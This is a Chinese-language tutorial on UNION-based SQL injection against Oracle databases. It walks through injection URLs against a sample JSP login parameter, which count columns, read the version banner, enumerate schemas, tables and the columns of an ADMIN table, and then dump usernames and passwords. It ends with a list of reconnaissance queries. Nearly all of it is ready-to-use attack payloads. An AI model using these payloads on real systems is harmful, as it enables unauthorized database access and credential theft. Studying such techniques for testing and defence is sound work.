Oracle联合注入总结
Oracle常规联合注入
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。
Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。
oracle注入中需要注意的一些小点:
- Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你
union select
的要和前面的字段类型一样,我们可以用null来代替站位。- Oracle和mysql不一样,分页中没有limit,而是使用三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”) 例如:
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
3. Oracle的单行注释符号是--,多行注释符号/**/。
依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。
http://www.jsporcle.com/a.jsp?username=SMITH%27%20order%20by%208%20--
http://www.jsporcle.com/a.jsp?username=SMITH%27%20union%20select%20null,null,null,null,null,null,null,null%20from%20dual%20--
爆数据库版本
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual --
其他查询信息语句:
1 当前用户权限 (select * from session_roles) 2 当前数据库版本 ( select banner from sys.v_$version where rownum=1) 3 服务器出口IP (用utl_http.request 可以实现) 4 服务器监听IP (select utl_inaddr.get_host_address from dual) 5 服务器操作系统 (select member from v$logfile where rownum=1) 6 服务器sid (select instance_name from v$instance) 7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual) 8 当前用户 (SELECT user FROM dual)
爆库名:
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --
爆表:
表 一定要是大写的
查询第一个表
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual --
爆列
查询 表 ADMIN第一个列
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
第二个列
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --
查询表ADMIN 第三个列
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,null from dual --
查询出来列有ID USERNAME PASSWORD
爆数据
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual --
http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(SELECT USERNAME FROM ADMIN),(SELECT PASSWORD FROM ADMIN),null,null,null,null,null from dual --
一些常用的查询语句:
当前用户: SELECT user FROM dual; 列出所有用户: SELECT username FROM all_users ORDER BY username; 列出数据库 SELECT DISTINCT owner FROM all_tables; 列出表名: SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; 查询表所有列 SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN'; 定位文件 SELECT name FROM V$DATAFILE;
